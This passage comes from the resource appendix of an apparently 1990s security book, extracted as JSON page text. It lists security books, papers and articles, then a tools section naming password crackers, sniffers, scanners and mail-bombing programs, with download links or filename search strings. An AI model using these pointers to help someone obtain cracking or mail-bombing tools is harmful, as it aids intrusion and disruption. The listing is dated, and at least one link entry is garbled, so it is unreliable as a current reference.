Simon and Schuster. \nKatie Hafner and John Markoff. ISBN: 0-671-68322-5. 1991. \nDCE Security Programming. Wei Hu. O'Reilly & Associates. ISBN: 1-56592-134-8. \n1995. \nExtended Discretionary Access Controls. S. T. Vinter. SympSecPr, pp. 39-49, \nIEEECSP, April 1988. \nHow to Set Up and Maintain a World Wide Web Site: The Guide for Information \nProviders. Addison-Wesley Publishing Company. Lincoln D. Stein. ISBN: 0-201-63389-\n2. 1995. \n" }, { "page_number": 604, "text": " \n \nInternet Security Secrets. IDG Books. John R. Vacca. ISBN: 1-56884-457-3. 1996. \nManaging Internet Information Systems. O'Reilly & Associates. Cricket Liu, Jerry \nPeek, Russ Jones, Bryan Buus, and Adrian Nye. ISBN: 1-56592-051-1. 1994. \nMicrosoft's PFX: Personal Information Exchange APIs. Microsoft Corporation \n(http://www.microsoft.com/workshop/prog/security/misf11-f.htm). \nNetwork and Internetwork Security: Principles and Practice. IEEE Computer Society \nPress/Prentice Hall. William Stallings. ISBN: 0-02-415483-0. 1995. \nNetwork Security: How to Plan for It and Achieve It. McGraw-Hill. Richard H. \nBaker. ISBN: 0-07-005141-0. 1994. \nNetwork Security: Protocol Reference Model and The Trusted Computer System \nEvaluation Criteria. M. D. Abrams and A. B. Jeng. IEEE Network, 1(2), pp. 24-33, \nApril 1987. \nProtect Your Privacy: The PGP User's Guide. Prentice Hall. William Stallings. ISBN: \n0-13-185596-4. 1994. \nSecure Databases. 1993 IEEE Computer Society Symposium on Research in Security \nand Privacy; Oakland, California. USA: IEEE Computer Society Press. ISBN: 0-8186-\n3370-0. 1993. \nSecure Networking at Sun Microsystems Inc. Katherine P. Addison and John J. \nSancho. 11th NCSC; 1988. Baltimore. USA: NBS/NCSC: pp.212-218. \nSTRAWMAN Trusted Network Interpretation Environments Guideline. Marshall \nAbrams, Martin W. Schwartz, and Samuel I. Schaen (MITRE). 11th NCSC; 1988 Oct 17; \nBaltimore. USA: NBS/NCSC: pp.194-200. \nJava \nBriki: A Flexible Java Compiler. Michael Cierniak and Wei Li. TR 621, URCSD, May \n1996. \n• \nftp://ftp.cs.rochester.edu/pub/papers/systems/96.tr621.Briki_a_fle\nxible_java_compiler.ps.gz \nDeveloping Intranet Applications with Java. Sams.net. Jerry Ablan, William Robert \nStanek, Rogers Cadenhead, and Tim Evans. ISBN: 1-57521-166-1. 1996. \nGamelan. The ultimate Java archive. \n• \nhttp://www-a.gamelan.com/index.shtml \nH-38: Internet Explorer 3.x Vulnerability. CIAC Advisory, March 4, 1997. \n• \nhttp://ciac.llnl.gov/ciac/bulletins/h-38.shtml \nInternet Java & ActiveX Advisor. Journal. \n" }, { "page_number": 605, "text": " \n \n• \nhttp://www.advisor.com/ia.ht \nJavaworld. Journal. \n• \nhttp://www.javaworld.com/ \nJava & HotJava: Waking Up the Web. Sean González. PC Magazine, October 1995. \n• \nhttp://www.zdnet.com/~pcmag/issues/1418/pcm00085.htm \nJava as an Intermediate Language. Technical Report, School of Computer Science, \nCarnegie Mellon University, Number CMU-CS-96-161, August 1996. \n• \nhttp://www.cs.cmu.edu/afs/cs.cmu.edu/project/scandal/public/papers\n/CMU-CS-96-161.ps.Z \nJava Developer's Guide. Sams.net. Jamie Jaworski and Cary Jardin. ISBN: 1-57521-\n069-X. 1996. \nJava Developer's Journal. \n• \nhttp://www.javadevelopersjournal.com/java/ \nJava Developer's Reference. Sams.net. Mike Cohn, Michael Morrison, Bryan Morgan, \nMichael T. Nygard, Dan Joshi, and Tom Trinko. ISBN: 1-57521-129-7. 1996. \nJava in a Nutshell: A Desktop Quick Reference for Java Programmers. O'Reilly & \nAssociates. David Flanagan. ISBN: 1-56592-183-6. 1996. \nJava Report. Journal. \n• \nhttp://www.sigs.com/jro/ \nJava Security. SIGS. Gary McGraw and Edward Felten. ISBN: 1-884842-72-0. 1996. \nJava Security: From HotJava to Netscape and Beyond. Drew Dean, Edward W. \nFelten, and Dan S. Wallach. 1996 IEEE Symposium on Security and Privacy, Oakland, \nCA, May 1996. \nJava Security: Hostile Applets, Holes, & Antidotes. John Wiley & Sons. Gary \nMcGraw and Ed Felten. ISBN: 0-471-17842-X. 1996. \nJava: The Inside Story. Michael O'Connell. Sunworld Online, Volume 07, July 1995. \n• \nhttp://www.sun.com/sunworldonline/swol-07-1995/swol-07-java.html \nJust Java, Second Edition. Sunsoft Press/Prentice Hall. Peter van der Linden. ISBN: 0-\n13-272303-4. 1996. \nMIME Encapsulation of Aggregate Applet Objects (Mapplet). A. Bahreman, J. \nGalvin, R. Narayanaswamy. \n" }, { "page_number": 606, "text": " \n \n• \nhttp://src.doc.ic.ac.uk/computing/internet/internet-drafts/draft-\nbahreman-mapplet-spec-00.txt.Z \nNetProf: Network-Based High-Level Profiling of Java Bytecode. Srinivasan \nParthasarathy, Michael Cierniak, and Wei Li. TR 622, URCSD, May 1996. \n• \nftp://ftp.cs.rochester.edu/pub/papers/systems/96.tr622.NetProf_net\nwork-based_high-level_profiling_of_java_bytecode.ps.g z \nThe Java Handbook. Osborne/McGraw-Hill. Patrick Naughton. ISBN: 0-07-882199-1. \n1996. \nThe Java Language Specification. Addison-Wesley Publishing Company. James \nGosling, Bill Joy, and Guy Steele. ISBN: 0-201-63451-1. 1996. \nDatabases and Security \nA Personal View of DBMS Security in Database Security: Status and Prospects. F. \nManola. C.E. Landwehr (ed.), Elsevier Science Publishers B.V., North Holland, 1988. \nGTE Labs. December 1987. \nA Policy Framework for Multilevel Relational Databases. Xiaolei Qian and Teresa F. \nLunt. SRI-CSL-94-12, August 1994. \nA Secure Concurrency Control Protocol for Real-Time Databases. R. Mukkamala, \nOld Dominion University, and S. H. Son, University of Virginia. IFIP WG 11.3 Working \nConference on Database Security, Rensselaerville, New York, August 13-16, 1995. \nA Security Model for Military Message System. C. E. Landwehr, C. L Heitmeyer, and \nJ. McLean. ACM Transactions on Computer Systems, 2(3), August 1984. \nAccess Control: Principles and Practice. R.S. Sandhu and P. Saramati. IEEE \nCommunications, pp. 2-10. 1994. \nAn Extended Authorization Model for Relational Databases. E. Bertino, P. Samarati, \nand S. Jajodia. IEEE Transactions on Knowledge and Data Engineering, Volume 9, \nNumber 1, 1997, pp. 85-101. \n• \nhttp://www.isse.gmu.edu/~csis/publications/ieee-97.ps \nAuthorizations in Relational Database Management Systems. E. Bertino, S. Jajodia, \nand P. Saramati. ACM Conference on Computer and Communications Security, Fairfax, \nVA, 1993. pp. 130-139. \nDecentralized Management of Security in Distributed Systems. R.S. Sandhu, DSOM. \n1991. \n• \nhttp://www.list.gmu.edu/~sandhu/papers/confrnc/misconf/ps_ver/dsom\n91.ps \n" }, { "page_number": 607, "text": " \n \nEnsuring Atomicity of Multilevel Transactions. P. Ammann, S. Jajodia, and I. Ray. \nIEEE Symposium on Research in Security and Privacy. Oakland, CA, May 1996. pp. 74-\n84. \n• \nhttp://www.isse.gmu.edu/~csis/publications/oklnd96-indrksi.ps \nFormal Query Languages for Secure Relational Databases. M. Winslett, K. Smith and \nX. Qian. ACM TODS, 19(4):626-662. 1994. \nHonest Databases That Can Keep Secrets. R. S. Sandhu and S. Jajjodia, NCSC. \n• \nhttp://www.list.gmu.edu/~sandhu/papers/confrnc/ncsc/ps_ver/b91poly\n.ps \nLocking Protocol for Multilevel Secure Databases Providing Support for Long \nTransactions. S. Pal, Pennsylvania State University. IFIP WG 11.3 Working Conference \non Database Security, Rensselaerville, New York, August 13-16, 1995. \nMessages, Communications, Information Security: Protecting the User from the \nData. J. E. Dobson and M. J. Martin, University of Newcastle. IFIP WG 11.3 Working \nConference on Database Security, Rensselaerville, New York, August 13-16, 1995. \nMicrosoft Access 2.0 Security. Tom Lucas. PC Solutions. \n• \nhttp://www.pc-solutionsinc.com/lucasec.html \nMultilevel Security for Knowledge Based Systems. Thomas D. Garvey and Teresa F. \nLunt. SRI-CSL-91-01, February 1991. Stanford Research Institute. \nOn Distributed Communications: IX. Security, Secrecy and Tamper-Free \nConsiderations. P. Baran. Technical Report, The Rand Corporation. Number RM-376, \nAugust 1964. \nRole-Based Access Controls. D.F. Ferraiolo and R. Kuhn. NIST-NCSC National \nComputer Security Conference, Baltimore, MD, 1993. pp. 554-563. \nSymposium on the Global Information Infrastructure: Information, Policy & \nInternational Infrastructure. Paul A. Strassmann, U.S. Military Academy West Point \nand Senior Advisor, SAIC; William Marlow, Senior Vice President, SAIC. January 28-\n30, 1996. \nThe Microsoft Internet Security Framework (MISF) Technology for Secure \nCommunication, Access Control, and Commerce. \" 1997 Microsoft Corporation. (All \nrights reserved.) \n• \nhttp://www.microsoft.com/intdev/security/ \nTrusted Database Management System. NCSC-TG-021. Trusted Database \nManagement System Interpretation. April 1991. Chief, Technical Guidelines Division. \nATTN: C11 National Computer Security Center Ft. George G. Meade, MD 20755-6000. \n" }, { "page_number": 608, "text": " \n \nWhy Safeguard Information? Computer Audit Update, Elsevier Advanced Technology, \n1996. Abo Akademi University, Institute for Advanced Management Systems Research, \nTurku Centre for Computer Science. Thomas Finne. \n• \nhttp://www.tucs.abo.fi/publications/techreports/TR38.html \nArticles \n\"Accountability Is Key to Democracy in the Online World.\" Walter S. Mossberg. The \nWall Street Journal. Thursday January 26, 1995. \n\"ActiveX Used as Hacking Tool.\" Wingfield, N. CNET News, February 7, 1997. \n• \nhttp://www.news.com/News/Item/0,4,7761,4000.html?latest \n\"Alleged Computer Stalker Ordered Off Internet.\" Stevan Rosenlind. McClatchy \nNews Service. July 26, 1995. \n\"A Tiger Team Can Save You Time and Money and Improve Your Ability to \nRespond to Security Incidents.\" Peter Galvin. SunWorld Online. February 1996. \n• \nhttp://www.sandcastle-ltd.com/articles.html \n\"Billions and Billions of Bugs.\" Peter Galvin. SunWorld Online. \n• \nhttp://www.sun.com/sunworldonline/swol-03-1996/swol-03-\nsecurity.html \n\"Breaches From Inside Are Common.\" Infosecurity News. January/February 1997. \n\"CYBERWAR IS COMING!\" John Arquilla and David Ronfeldt. International Policy \nDepartment, Rand Corporation. 1993. Taylor & Francis. ISSN: 0149-5933-93. \n\"Digital IDs Combat Trojan Horses on the Web.\" Bray, H. Computer News Daily. \nFebruary 1997. \n• \nhttp://computernewsdaily.com/live/Latest_columns/052_022197_124200\n_25016.html \n\"FBI Investigates Hacker Attack at World Lynx.\" B. Violino. InformationWeek \nOnline. November 12, 1996. \n• \nhttp://techweb.cmp.com/iw/newsflash/nf605/1112_st2.htm \n\"Gang War in Cyberspace.\" Slatalla, M. and Quitner, J. Wired, Volume 2, Number 12. \nDecember, 1994. \n• \nhttp://www.hotwired.com/wired/2.12/features/hacker.html \n\"KC Wrestles With Equipment Theft Problem.\" Timothy Heider. Kansas City Star. \nFebruary 17, 1997. \n• \nhttp://www.isecure.com/newslet.htm \n" }, { "page_number": 609, "text": " \n \n\"Macros Under the Microscope: To Stop the Spread of Macro Viruses, First \nUnderstand How They Work.\" Kenneth R. van Wyk. Infosecnews. \n• \nhttp://www.infosecnews.com/article5.htm \n\"Network Security Throughout the Ages.\" Jeff Breidenbach. 1994. Switzerland \n(Project MAC) Association. MIT Project on Mathematics and Computation. \n\"New York's Panix Service Is Crippled by Hacker Attack.\" Robert E. Calem. The \nNew York Times. September 14, 1996. \n\"Pentagon Web Sites Closed After Visit from Hacker.\" Nando.net News Service. \nDecember 30, 1996. \n• \nhttp://www.nando.net/newsroom/ntn/info/123096/info1_29951.html \n\"Post Office Announces Secure E-Mail.\" Boot. March 1997. \n\"SATAN Uncovers High Risk of Web Attack.\" S. L. Garfinkel. San Jose Mercury \nNews. December 19, 1996. \n• \nhttp://www1.sjmercury.com/business/compute/satan1218.htm \n\"Secure Your Data: Web Site Attacks On The Rise!\" Stewart S. Miller. Information \nWeek. January 29, 1996. \n\"Security and the World Wide Web.\" D. I. Dalva. Data Security Letter. June, 1994. \n• \nhttp://www.ja.net/newsfiles/janinfo/cert/Dalva/WWW_security.html \n\"Security Is Lost in Cyberspace.\" News & Observer. February 21, 1995. \n• \nhttp://www.nando.net/newsroom/ntn/info/other/02219540865.html \n\"Statement Before Senate Subcommittee on Governmental Operations.\" June 25, \n1996. John Deutch, Director, CIA. \n\"Student's Expulsion Over E-Mail Use Raises Concern.\" Amy Harmon. Los Angeles \nTimes. November 15, 1995. \n• \nhttp://www.caltech.edu/~media/times.html \n\"The First Internet War; The State of Nature and the First Internet War: \nScientology, its Critics, Anarchy, and Law in Cyberspace.\" David G. Post. Reason \nMagazine. April, 1996. \n• \nhttp://www.cli.org/DPost/X0003_ARTICLE4.html \n\"The Paradox of the Secrecy About Secrecy: The Assumption of A Clear Dichotomy \nBetween Classified and Unclassified Subject Matter.\" Paul Baran. MEMORANDUM \nRM-3765-PR; August 1964, On Distributed Communications: IX Security, Secrecy, and \nTamper-Free Considerations. The Rand Corporation. \n" }, { "page_number": 610, "text": " \n \n\"U.S. Files Appeal in Dismissed Baker Case.\" Zachary M. Raimi. The Michigan Daily. \nNovember 22, 1995. \n\"What's the Plan? Get a Grip on Improving Security Through a Security Plan.\" \nPeter Galvin. SunWorld Online. September 1995. \n• \nhttp://www.sun.com/sunworldonline/swol-09-1995/swol-09-\nsecurity.html \n\"Windows NT Security Questioned: Experts Say Hackers Could Gain Entry to \nSystem.\" Stuart J. Johnston (http://www.informationweek.com). CMP Media, \nTechweb. \n• \nhttp://techweb.cmp.com/iw/610/10iunt.htm \nTools \nFollowing is a list of tools. Some of these tools were coded by the establishment (the \nlegitimate security community). Others were authored by amateur hackers and crackers. \nPassword Crackers \nCrack: Cracks UNIX passwords on UNIX platforms. \n• \nhttp://ciac.llnl.gov/ciac/ToolsUNIXNetSec.html \nMacKrack v2.01b1: Cracks UNIX passwords on the MacOS platform. \n• \nhttp://www.borg.com/~docrain/mac-hack.html \nCrackerJack: Cracks UNIX passwords on the Microsoft platform. \n• \nhttp://www.fc.net/phrack/under/misc.html \nPaceCrack95: Cracks UNIX passwords on the Windows 95 platform. \n• \nhttp://tms.netrom.com/~cassidy/crack.htm \nQcrack: Cracks UNIX passwords on DOS, Linux, and Windows platforms. \n• \nhttp://tms.netrom.com/~cassidy/crack.htm \nJohn the Ripper: Cracks UNIX passwords on the DOS and Linux platforms. \n• \nhttp://tms.netrom.com/~cassidy/crack.htm \nPcrack (PerlCrack): Cracks UNIX passwords on the UNIX platform. \n• \nhttp://tms.netrom.com/~cassidy/crack.htm \nHades: This UNIX password cracker is available everywhere. Try the search string \nhades.zip. \n" }, { "page_number": 611, "text": " \n \nStar Cracker: This utility is for the DOS4GW environment. It cracks UNIX passwords. \n• \nhttp://citus.speednet.com.au/~ramms/ \nKiller Cracker: Cracks UNIX passwords under UNIX. \n• \nhttp://www.ilf.net/~toast/files/ \nHellfire Cracker: Cracks UNIX passwords on the DOS platform. \n• \nhttp://www.ilf.net/~toast/files/ \nXIT: Cracks UNIX passwords on the DOS platform. \n• \nhttp://www.ilf.net/~toast/files/xit20.zip \nClaymore: A generalized password cracker for Windows. \n• \nhttp://www.ilf.net/~toast/files/claym10.zip \nGuess: Cracks UNIX passwords on the DOS platform. This utility is available \neverywhere. Try the search string guess.zip. \nPC UNIX Password Cracker: The name of this utility says it all. This tool is hard to \nfind; I know of no reliable locations, but you might try the name as a search string. \nZipCrack: Cracks the passwords on Zip archives. Try the search string zipcrk10.zip. \nPassword NT: Cracks NT passwords. \n• \nhttp://www.omna.com/yes/AndyBaron/recovery.htm \nSniffers \nGobbler: Sniffs in the DOS environment. This tool is good for sniffing Novell NetWare \nnetworks. \n• \nhttp://www.macatawa.org/~agent43/gobbler.zip \nETHLOAD: Sniffs Ethernet and token ring networks. \n• \nftp://oak.oakland.edu/SimTel/msdos/lan/ethld104.zip \nNetman: Awesome sniffer suite for use on UNIX platforms. \n• \nhttp://www.cs.curtin.edu.au/~netman/ \nEsniff.c: Sniffer for use on UNIX machines (specifically SunOS and Solaris). \n• \nhttp://pokey.nswc.navy.mil/Docs/Progs/ensnif.txt \nSunsniff: The title says it all. This utility is a good sniffer for SunOS. \n• \nhttp://mygale.mygale.org/08/datskewl/elite/ \n" }, { "page_number": 612, "text": " \n \nlinux_sniffer.c: Runs on the Linux platform. \n• \nhttp://www.hacked-inhabitants.com/warez/ \nNitwit.c: For use on the Sun platform. \n• \nwww.catch22.com/Twilight.NET/phuncnet/hacking/proggies/sniffers/ni\ntwit.c \nScanners and Related Utilities \nNSS: Network Security Scanner. Written in Perl, runs on UNIX. \n• \nhttp://www.giga.or.at/pub/hacker/unix \nStrobe: Runs on UNIX. \n• \nhttp://sunsite.kth.se/Linux/system/Network/admin/ \nSATAN: Runs on UNIX; you must have Perl. \n• \nhttp://www.fish.com \nJakal: Runs on UNIX. Scans behind firewalls. \n• \nhttp://www.giga.or.at/pub/hacker/unix \nIdentTCPscan: Runs on UNIX; identifies the UID of all running processes. \n• \nhttp://www.giga.or.at/pub/hacker/unix \nCONNECT: Are you looking for a vulnerable TFTP server? Try this utility. It runs on \nUNIX. \n• \nhttp://www.giga.or.at/pub/hacker/unix/ \nFSPScan: This UNIX utility identifies vulnerable FSP servers. \n• \nhttp://www.giga.or.at/pub/hacker/unix \nXSCAN: Locates vulnerable X servers. \n• \nhttp://www.giga.or.at/pub/hacker/unix \nNetScan Tools: Win95 port of many UNIX snooping utilities. \n• \nhttp://www.eskimo.com/~nwps/index.html \nNetwork Toolbox: Runs on Windows 95. Has many common UNIX snooping utilities \nand a port scanner. \n• \nhttp://www.jriver.com/netbox.html \nIS User Information for Windows 95: A very good generalized network analysis tool. \n" }, { "page_number": 613, "text": " \n \n• \nhttp://www.csn.net/~franklin/user_info.html \nTCP/IP Surveyor: Microsoft platform. \n• \nftp://wuarchive.wustl.edu/systems/ibmpc/win95/netutil/wssrv32n.zip \nMacTCP Watcher: TCP/IP analysis tool for the Macintosh platform. \n• \nhttp://www.share.com/share/peterlewis/mtcpw/ \nQuery It!: Nslookup utility for Mac. \n• \nhttp://www.cyberatl.net/~mphillip/index.html#Query It! \nWhatRoute: Port of the popular UNIX utility Traceroute to Mac. \n• \nhttp://homepages.ihug.co.nz/~bryanc/ \nDestructive Devices \nThe UpYours Mail Bombing Program: To obtain UpYours, try the string \nupyours3.zip. \nKaboom: This device is an e-mail bomber. To obtain it, try the string kaboom3.exe. \nAvalanche: This device is yet another mail-bombing utility. Avalanche is for Windows. \nTry the search string avalanche20.zip. \nThe UnaBomber: This utility is a mail bomber for the Windows platform. To obtain it, \ntry the search string unabomb.exe. \neXtreme Mail: This utility is a mail bomber for the Windows platform. To obtain it, try \nthe search string xmailb1.exe. \nHomicide: This utility is a mail bomber for the Windows. platform. To obtain it, try the \nsearch string homicide.exe. \nThe UNIX MailBomb: This mail-bomb utility by CyBerGoAT works on all UNIX \nplatforms. To obtain it, try the search string MailBomb by CyBerGoAT. \nBombtrack: This is a mail bombing utility for Macintosh. \nFlameThrower: This is a Macintosh mail-bombing utility. \nFinger Clients \nWSFinger (Windows) \n• \nftp://papa.indstate.edu/winsock-l/finger/wsfngr14.zip \nMacfinger (Macintosh) \n• \nftp://ftp.global.net.id/pub/mac/ \n" }, { "page_number": 614, "text": " \n \nFFEU (OS/2) \n• \nhttp://www.musthave.com/OS2/ \nTechnical Reports and Publications \n\"A Basis for Secure Communication in Large Distributed Systems.\" David P. \nAnderson and P. Venkat Rangan. UCB//CSD-87-328. January 1987. \n• \nftp://tr-ftp.cs.berkeley.edu/pub/tech-reports/csd/csd-87-328/ \n\"A Cryptographic File System for UNIX.\" Matt Blaze. 1st ACM Conference on \nComputer and Communications Security. pp. 9-16. ACM Press. November, 1993. \nActually Useful Internet Security Techniques. New Riders. Larry J. Hughes, Jr. ISBN: \n1-56205-508-9. 1995. \n\"A Network Perimeter With Secure External Access.\" Frederick M. Avolio and \nMarcus J. Ranum. An extraordinary paper that details the implementation of a firewall \npurportedly at the White House. Trusted Information Systems, Incorporated. Glenwood, \nMD. January 25, 1994. \n• \nhttp://www.alw.nih.gov/Security/FIRST/papers/firewall/isoc94.ps \n\"A Prototype B3 Trusted X Window System.\" J. Epstein, J. Mc Hugh, R. Pascale, H. \nOrman, G. Benson, C. Martin, A. Marmor-Squires, B. Danner, and M. Branstad, The \nproceedings of the 7th Computer Security Applications Conference, December, 1991. \n\"A Security Architecture for Fault-Tolerant Systems.\" Michael K. Reiter, Kenneth P. \nBirman, and Robbert Van Renesse. TR93-1354. June 1993. \n• \nhttp://cs-\ntr.cs.cornell.edu:80/Dienst/Repository/2.0/Body/ncstrl.cornell%2fT\nR93-1354/ocr \n\"Augmented Encrypted Key Exchange: a Password-Based Protocol Secure Against \nDictionary Attacks and Password File Compromise.\" 1st ACM Conference on \nComputer and Communications Security, pp. 244-250. ACM Press. November 1993. \n\"Benchmarking Methodology for Network Interconnect Devices.\" RFC 1944. S. \nBradner and J. McQuaid. \n• \nftp://ds.internic.net/rfc/rfc1944.txt \nBuilding Internet Firewalls. D. Brent Chapman and Elizabeth D. Zwicky. O'Reilly & \nAssociates. ISBN: 1-56592-124-0. 1995. \n\"Charon: Kerberos Extensions for Authentication over Secondary Networks.\" \nDerek A. Atkins. 1993. \n\"Check Point FireWall-1 Introduction.\" Checkpoint Technologies firewall \nInformation. \n" }, { "page_number": 615, "text": " \n \n• \nhttp://www.checkpoint.com/products/firewall/intro.html \n\"Cisco PIX Firewall.\" Cisco Systems firewall information. \n• \nhttp://www.cisco.com/univercd/data/doc/cintrnet/prod_cat/pcpix.htm \n\"Comparison: Firewalls.\" LANTimes. June 17, 1996. Comprehensive comparison of a \nwide variety of firewall products. \n• \nhttp://www.lantimes.com/lantimes/usetech/compare/pcfirewl.html \n\"Computer User's Guide to the Protection of Information Resources.\" NIST Special \nPublication. \n• \nftp.ffeu101.zipinternet/finger-15.hqx \n\"Covert Channels in the TCP/IP Protocol Suite.\" Craig Rowland. Rotherwick & \nPsionics Software Systems Inc. \n• \nhttp://www.zeuros.co.uk/firewall/papers.htm \n\"Crack Version 4.1: A Sensible Password Checker for UNIX.\" A. Muffett. Technical \nReport, March 1992. \n\"Daemons And Dragons UNIX Accounting.\" Dinah McNutt. UNIX Review. 12(8). \nAugust 1994. \n\"Designing Plan 9.\" Rob Pike, Dave Presotto, and Ken Thompson. Dr. Dobb's Journal. \nVolume 16, p. 49. January 1, 1991. \n\"Dyad: A System for Using Physically Secure Coprocessors.\" Dr. (Professor) J. \nDouglas Tygar and Bennet Yee, School of Computer Science at Carnegie Mellon \nUniversity. \n• \nhttp://www.cni.org/docs/ima.ip-workshop/www/Tygar.Yee.html \n\"Evolution of a Trusted B3 Window System Prototype.\" J. Epstein, J. McHugh, R. \nPsacle, C. Martin, D. Rothnie, H. Orman, A. Marmor-Squires, M. Branstad, and B. \nDanner. In proceedings of the 1992 IEEE Symposium on Security and Privacy, 1992. \n\"Features of the Centri Firewall.\" Centri firewall information. \n• \nhttp://www.gi.net/security/centrifirewall/features.html \n\"Firewall Application Notes.\" Good document that starts by describing how to build a \nfirewall. Also addresses application proxies, sendmail in relation to firewalls, and the \ncharacteristics of a bastion host. Livingston Enterprises, Inc. \n• \nhttp://www.telstra.com.au/pub/docs/security/firewall-1.1.ps.Z \n\"Firewall Performance Measurement Techniques: A Scientific Approach.\" Marcus \nRanum. February 4, 1996 (last known date of modification). \n" }, { "page_number": 616, "text": " \n \n• \nhttp://www.v-one.com/pubs/perf/approaches.htm \nFirewalls and Internet Security : Repelling the Wily Hacker. William R. Cheswick \nand Steven M. Bellovin. Addison-Wesley Professional Computing. ISBN: 0-201-63357-\n4. 1994. \nFirewalls FAQ. Marcus J. Ranum. \n• \nhttp://www.cis.ohio-state.edu/hypertext/faq/usenet/firewalls-\nfaq/faq.html \n\"Five Reasons Why an Application Gateway is the Most Secure Firewall.\" Global \nInternet. \n• \nhttp://www.gi.net/security/centrifirewall/fivereasons.html \n\"Group of 15 Firewalls Hold Up Under Security Scrutiny.\" Stephen Lawson. \nInfoWorld. June 1996. \n• \nhttp://www.infoworld.com/cgi-\nbin/displayStory.pl?96067.firewall.htm \n\"If You Can Reach Them, They Can Reach You.\" William Dutcher. A PC Week \nOnline Special Report. June 19, 1995. \n• \nhttp://www.pcweek.com/sr/0619/tfire.html \n\"Improving the Security of Your Site by Breaking Into It.\" Dan Farmer and Wietse \nVenema. 1995. \n• \nhttp://www.craftwork.com/papers/security.html \n\"Improving X Windows Security.\" Linda Mui. UNIX World. Volume IX, Number 12. \nDecember 1992. \n\"Integrating Security in a Group Oriented Distributed System.\" Michael K. Reiter, \nKenneth P. Birman, and Li Gong. TR92-1269. February 1992. \n• \nhttp://cs-\ntr.cs.cornell.edu:80/Dienst/Repository/2.0/Body/ncstrl.cornell%2fT\nR92-1269/postscript \n\"Internet Firewalls: An Introduction.\" Firewall white paper. NMI Internet Expert \nServices. \n• \nhttp://www.netmaine.com/netmaine/whitepaper.html \nInternet Firewalls and Network Security (Second Edition). New Riders. Chris Hare \nand Karanjit Siyan. ISBN: 1-56205-632-8. 1996. \nInternet Security Resource Library: Internet Firewalls and Network Security, \nInternet Security Techniques, Implementing Internet Security. New Riders. ISBN: 1-\n56205-506-2. 1995. \n" }, { "page_number": 617, "text": " \n \n\"Intrusion Protection for Networks 171.\" Byte Magazine. April, 1995. \n\"IP v6 Release and Firewalls.\" Uwe Ellermann. 14th Worldwide Congress on \nComputer and Communications Security Protection. pp. 341-354. June 1996. \n\"Is Plan 9 Sci-Fi or UNIX for the Future?\" Anke Goos. UNIX World. Volume 7, p. 61. \nOctober 1, 1990. \n\"Keeping Your Site Comfortably Secure: An Introduction to Internet Firewalls.\" \nJohn P. Wack and Lisa J. Carnahan. National Institute of Standards and Technology. \nFebruary 9, 1995. \n• \nhttp://csrc.ncsl.nist.gov/nistpubs/800-10/ \n\"Making Your Setup More Secure.\" NCSA tutorial pages. \n• \nhttp://hoohoo.ncsa.uiuc.edu/docs/tutorials/security.html \n\"Multilevel Security in the UNIX Tradition.\" M. D. McIlroy and J. A. Reeds. SWPE. \n22(8), pp. 673-694. 1992. \n\"NCSA Firewall Policy Guide.\" Compiled by Stephen Cobb, Director of Special \nProjects. National Computer Security Association. \n• \nhttp://www.ncsa.com/fwpg_p1.html \n\"Network Firewalls.\" Steven M. Bellovin and William R. Cheswick. IEEECM, 32(9), \npp. 50-57. September 1994. \n\"Networks Without User Observability: Design Options.\" Andreas Pfitzmann and \nMichael Waidner. Eurocrypt '85, LNCS 219, Springer-Verlag, Berlin 1986, 245-253. \n• \nhttp://www.informatik.uni-\nhildesheim.de/FB4/Projekte/sirene/publ/PfWa_86anonyNetze.html \n\"On Access Checking in Capability-Based Systems.\" Richard Y. Kain and C. E. \nLandwehr. IEEE Trans. on Software Engineering Volume SE-13, Number 2 (Feb. 1987) \npp. 202-207; reprinted from Proc. 1986 IEEE Symposium on Security and Privacy, April, \n1986, Oakland, CA. \n• \nhttp://www.itd.nrl.navy.mil/ITD/5540/publications/CHACS/Before1990\n/1987landwehr-tse.ps \n\"On the (In)Security of the Windowing System X.\" Marc VanHeyningen. Indiana \nUniversity. September 14, 1994. \n• \nhttp://www.cs.indiana.edu/X/security/intro.html \n\"Packet Filtering for Firewall Systems.\" February 1995. CERT (and Carnegie Mellon \nUniversity). \n• \nftp://info.cert.org/pub/tech_tips/packet_filtering \n" }, { "page_number": 618, "text": " \n \n\"Packets Found on an Internet.\" Steven M. Bellovin. Interesting analysis of packets \nappearing at the application gateway of AT&T. Lambda. August 23, 1993. \n• \nftp://ftp.research.att.com/dist/smb/packets.ps \n\"Password Security: A Case History.\" Robert Morris and Ken Thompson. \n• \nhttp://www.sevenlocks.com/papers/password/pwstudy.ps \nPCWEEK Intranet and Internet Firewall Strategies. Ed Amoroso and Ron Sharp. \nZiff-Davis Press. ISBN: 1562764225. 1996. \n\"Plan 9.\" Sean Dorward, Rob Pike, and Dave Presotto. UNIX Review. Volume 10, p. 28. \nApril 1, 1992. \n\"Plan 9: Feature Film to Feature-Rich OS.\" Paul Fillinich. Byte Magazine. Volume \n21, p. 143. March 1, 1996. \n\"Plan 9 from AT&T.\" David Bailey. UNIX Review. Volume 1, p. 27. January 1, 1996. \n\"Plan 9 from Bell Labs.\" Rob Pike, Dave Presotto, and Phil Winterbottom. Computing \nSystems Journal. Volume 8, p. 221. Summer, 1995. \n\"Plan 9: Son of UNIX.\" Robert Richardson. LAN Magazine. Volume 11, p. 41. August \n1, 1996. \n\"Private Communication Technology Protocol.\" Daniel Simon. April 1996. \n\"Product Overview for IBM Internet Connection Secured Network Gateway for \nAIX, Version 2.2.\" IBM firewall information. \n• \nhttp://www.ics.raleigh.ibm.com/firewall/overview.htm \n\"Program Predictability and Data Security.\" Charles G. Moore III and Richard W. \nConway. TR74-212. \n• \nhttp://cs-\ntr.cs.cornell.edu:80/Dienst/UI/2.0/Describe/ncstrl.cornell%2fTR74-\n212?abstract=Security \n\"Protecting the Fortress From Within and Without.\" R. Scott Raynovich. LAN \nTimes. April 1996. \n• \nhttp://www.wcmh.com/lantimes/96apr/604c051a.html \n\"Rating of Application Layer Proxies.\" Michael Richardson. November 13, 1996. \n• \nhttp://www.sandelman.ottawa.on.ca/SSW/proxyrating/proxyrating.html \n\"Reducing the Proliferation of Passwords in Distributed Systems Information \nProcessing.\" Education and Society. Volume II, pp. 525-531. Elsevier Science \nPublishers B.V. (North Holland). 1992. \n" }, { "page_number": 619, "text": " \n \n\"Robust and Secure Password/Key Change Method Proceedings of the Third \nEuropean Symposium on Research in Computer Security (ESORICS).\" Ralf Hauser, \nPhil Janson, Refik Molva, Gene Tsudik, and Els Van Herreweghen. LNCS, pp. 107-122, \nSV, November 1994. \n\"Secure Computing Firewall for NT.\" Overview. Secure Computing. \n• \nhttp://www.sctc.com/NT/HTML/overview.html \n\"Security and the X Window System.\" Dennis Sheldrick. UNIX World. 